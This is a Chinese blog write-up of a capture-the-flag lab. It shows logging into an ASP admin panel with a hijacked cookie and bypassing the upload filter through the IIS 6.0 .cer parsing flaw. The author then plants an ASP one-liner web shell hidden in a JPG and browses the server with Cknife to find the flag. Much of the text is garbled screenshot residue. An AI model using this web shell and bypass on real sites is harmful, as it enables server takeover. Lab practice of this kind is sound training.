封神台-第四章:进击!拿到Web最高权限!【配套课时:绕 过防护上传木马 实战演练】



 E08640104
 ● 于 2021-08-04 22:37:39 发布
 ● 484
 ● 收藏 2

 分类专栏:
 渗透测试 文章标签:
 信息安全

 版权声明:
 本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

 本文链接:
 https://blog.csdn.net/E08640104/article/details/117935364

 版权

 参透测试 专栏收录该内容

 5 篇文章 0 订阅

 订阅专栏

题目

Tips:

1、通过修改Cookie登录后台(没用重打)2、上传SHELL!3、Flag在web根目录(flag.php)3.上传图片时建 议上传小文件,我建议用QQ表情

尤里通过XSS终于得到了管理员Cookie,在修改了cookie后尤里直接绕过了登录密码,看到了后台功能! 接下来要做的,就是找一个上传点,上传自己的shell了!

一:登录后台

打开测试地址如下

修改为管理员cookie后请直接访问管理页面 准备好了吗?

点击准备好了吗,配置burpsuite断点,直接替换上题中拿到的cookie为: ASPSESSIONIDSQATTCBS=JJLAMLACCEODAHFIAOCGBPLA;ADMINSESSIONIDCSTRCSDQ=LBMLMBCC

Dashboard	l Targe	t Proxy	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	
Intercept	HTTP his	story We	bSockets hi	story Opt	ions						
Request to http://59.63.200.79:8005											
Forward Drop Intercept is on Action											
Raw Params Headers Hex											
Host: 59 63 2	0erault.a 200 79 80	sp нттр/)05	1.1								
Upgrade-Inse	ecure-Re	quests: 1									
User-Agent:	Mozilla/5	.0 (Macint	osh; Intel N	lac OS X 1	0_15_4) App	leWebKit/5	37.36 (KHTN	IL, like Gec	ko) Chrome/90.0	.4430.212 Safar	i/537.36
Accept: text/	html,app	lication/xh	tml+xml,a	pplication/x	ml;q=0.9,ima	age/avif,im	age/webp,im	age/apng,*/	/*;q=0.8,applicati	on/signed-excha	ange;v=b3;q=0.{
Accept-Enco	//59.63.2 dina: azi	200.79:800 n deflate	5/admin/Lo	ogin.asp							
Accept-Lang	uage: zh	-CN,zh;q=	0.9								
Cookie: ASP	SESSIO	NIDSQAT	TCBS=JJL	AMLACCE	ODAHFIAO	CGBPLA;A	DMINSESS	IONIDCST	RCSDQ=LBMLM	BCCNPFINOAN	NFGLPCFBC
进入到管理	里页面:	,吼吼									
\leftarrow \rightarrow C \blacksquare	▲ 不安全 5	9.63.200.79:8	005/admin/defa	ult.asp						☆ 📮	🔾 🛊 🔘 (更新 🔅
🚺 应用 📸 百度	1 TesterH	ome 🛅 技术	📄 渗透测试 📔	🗎 金融	翻译 🔇 自动化测试	平台 🔇 0.0.0.0):8000/hello/ 🗎 🕅	的物 🛅 生活			!!! 阅读清单
@管理后台	8						企业网站管理系	统			
回到首页 退出	*						管理快捷方式				
	~	快捷功能链接		管理员管	管理						
系统管理	*										
产品管理	*						系统信息				
询价管理	8	用户名: admin IP: 120.231.239.52									
下载中心	*	身份过期: 30 分钟 现在时间: 2021年6月15日23:24									
新闻管理	*	上线次数: 549	9				上线时间: 2	018-3-30 18:27:39	l .		
留言管理	*	服务器域名: 5	9.63.200.79 / 59.6	3.200.79:8005			脚本解释引擎	VBScript/5.6.88	332		
案例管理	*	服务器软件的名	称: Microsoft-IIS	/6.0			浏览器版本: Chrome/90 (Mozilla/5.0 (Macir).4430.212 Safari/5	ntosh; Intel Mac OS X 10_15_4	4) AppleWebKit/537.36 (KH	HTML, like Gecko)
人才管理	۲	FSO文本读写:	\checkmark				数据库使用:	√			
友情链接	8	Jmail组件支持:	×				CDONTS组件	·支持: ×			
Web Information	**										

二、上传**shell**

企业网站管理系统

1、确定上传位置

翻了半天,找到添加产品位置可以上传文件

回到首页 退出	«		Ī	
	-		ī	- -
系统管理	۲		l	
企业信息	۲			
产品管理	۲			
产品类别				
产品管理				
添加产品				
审核产品		茶文	r 产品说明・	
		**	. пп юсил.	
询价管理	•			
下载中心	۲			
新闻管理	۲			
留言管理	۲			
案例管理	۲			
人才管理	۲			
友情链接	۲			
Web Information	~		l	
企业网站管理系统				
LTT.1034 E 75 30			产品图片:	选择文件 未选择任何文件 上传
			通过审核:	

2、确定木马格式

59.63.200.79:8005 显示
这种文件类型不允许上传!
只允许上传这几种文件类型:gif jpg bmp png swf doc rar cer
确定
https://blog.csdn.net/E0864010-

F12看到网站使用的是asp语言

Lĸ		Elem	ients Console	e S	ources	Network	Performa	ance Me	mory A	Applicat	tion Li	ight
Sear	rch 💙	×	• • 7	Q	V Prese	erve log [Disable	cache No	throttling	• 3	≩ ≜	-
Aa	.* C	¢	Filter		(Hide data	URLs	Fetch/XH	IR JS C	SS Im	g Media	F
			1000 ms		2000 ms	300) ms	4000 ms	50	00 ms	60	000
			Name							State	us	
		ľ	derault.asp						200			
			LeftTree.asp							200		
			default.asp?r	menu=1	ор					200		

Reque	st Respo	nse							
Raw	Headers	Hex	HTML	Render					
HTTP/1. Connect Date: Mo Server: I	1 200 OK ion: close on. 09 Aug Vicrosoft-l	2021 2 IS/6.0	22:15:41	GMT					
X-Power Content- Content- Cache-c	ed-By: AS Length: 53 Type: text ontrol: priv	P.NE1 60 /html ate							

可能存在IIS解析漏洞:IIS6.0 默认的可执行文件除了asp还包含这三种 *.asa *.cer *.cdx

写入asp一句话木马, 文件名后缀改为asp

<%eval request("cmd")%>

上传文件提示确认要上传的文件

ŧ i¥	E	59.63.200	.79:8005	显示				🛅 性能测试	├ 招聘
	T.	请先选择你要	要上传的文件!						
							确定		
						0			
			◇代码	📴 设计	🖉 文本	🕤 预览			http s// blog.csdn.net/E08640104

看来不能上传空文件,找了张真实的jpg文件,将一句话木马写入到正常的图片中:

cat real.jpg 1.asp >test.cer

上传成功啦

	○ 代码 □ 设计 □ 文本 □ ⑤ 预览	ф —	
产品图片:	UploadFiles/202181063232114.cer 文件上传成功!文件大小为:3K		
已通过审核:	✓ 是(如果选中的话将直接发布)		
首页显示:	✓ 是(如果选中的话将在首页显示)		
古市新品留 売・	☑ 旦 (加甲洪山的迁收左首五日子为新品展子)	https://blog.csdn.net/E08	

使用c刀进行连接

		Cknife 1.0 Beta		
		表 59.63.200.79		
url 🔺			ip	time
http://59.63.200.79:8005/Upload	dFiles/202181061541434.cer		59.63.200.79	2021-08-09 22:58:44
		法加eball		
		がが)山 Shen		
	地址: http://59.63.200.7	9:8005/UploadFiles/2021810	0€ cmd	
	配置:			
	ASP(E	val) 🗘 UTF-8	◇ 添加	

在C盘下找到flag文件,吼吼

	Cl	knife 1.0 Beta			
	列表 59.63.200.79	59.63.200.79	59.63.200.79		
C:\					读取
See C:	文作 Decuments and Settings	+	时间	大小	属性
 D: E: 	Inetpub		2018-10-18 01:04:26	0	16
🥯 D:	RECYCLER		2021-04-14 23:35:40 2020-08-13 22:06:03	0	17 22
	System Volume Information		2018-10-17 15:39:58 2019-05-27 17:22:33	0	22 16
	WINDOWS		2020-10-30 21:47:50 2018-10-17 15:36:19	0	16 16
	AUTOEXEC.BAT		2018-10-17 15:35:45 2018-10-17 15:28:34	0	32 6
	bootfont.bin		2007-03-07 20:00:00	322730	39 32
	flag.txt		2018-04-02 19:25:38	23	32
	IO.SYS MSDOS.SYS		2018-10-17 15:35:45 2018-10-17 15:35:45	0 0	39 39
	ntldr		2007-03-07 20:00:00 2007-03-07 20:00:00	47772 306288	39 39
	pagefile.sys		2020-08-13 22:07:15	1610612736	38
完成					

直接打开提示没有权限,邮件发现可以下载。。。结果打不开

 ☐ flag.txt ■ 【课程讨论】安全测试入门.docx ■ 安全基础 λ 门-writeup.docx 	纯文本文稿	今天下午11:31 2021年6月14日上午10:00
 ■ 文生並 础入门 whiteup.docx ■ 文件包含漏洞 wrtieup.docx 	未能打开文稿"flag.txt"。文本编码 Unicode (UTF-8) 不适用。 该文件可能已使用了不同的文本编码来存储,或者可能不 是文本文件。 好	021年7月16日下午2:41

琢磨了半天,原来flag在D盘

				读取
🕯 C:	文件	时间	大小	属性
ω D.	editor_tableprops.asp	2013-04-07 18:15:00	10095	32
E.	editor_tsfh.htm	2013-04-07 18:15:00	37020	32
	editor_ubbhelp.asp	2013-04-07 18:15:00	5564	32
🕨 퉬 I386	Error.ASP	2013-04-07 18:15:00	3313	32
🕨 뷀 PRINTERS	Feedback.asp	2019-04-10 15:58:08	9656	32
SUPPORT	FeedbackMember.asp	2013-04-07 18:15:00	10372	32
See D.	FeedbackSave.asp	2013-04-07 18:15:00	2282	32
	EeedbackView.asp	2019-04-10 15:58:08	9259	32
¥ 🙀 🗘 5	FLAG!.txt	2018-03-30 19:26:00	24	32
UploadFiles	Foot.asp	2013-04-07 18:15:00	1129	32
► Ы 06	GetPassword.asp	2013-04-07 18:15:00	9990	32
🕨 퉬 admin	Head.asp	2013-04-07 18:15:00	5041	32
Databases	🗮 Help.asp	2013-04-07 18:15:00	2025	32
h flach	History.asp	2013-04-07 18:15:00	4576	32
	home.asp	2013-04-07 18:15:00	359	https://blog.cr3/2net/E08640104

zkz{G3t_the_admin!Sh3ll}



https://blog.csdn.net/E08640104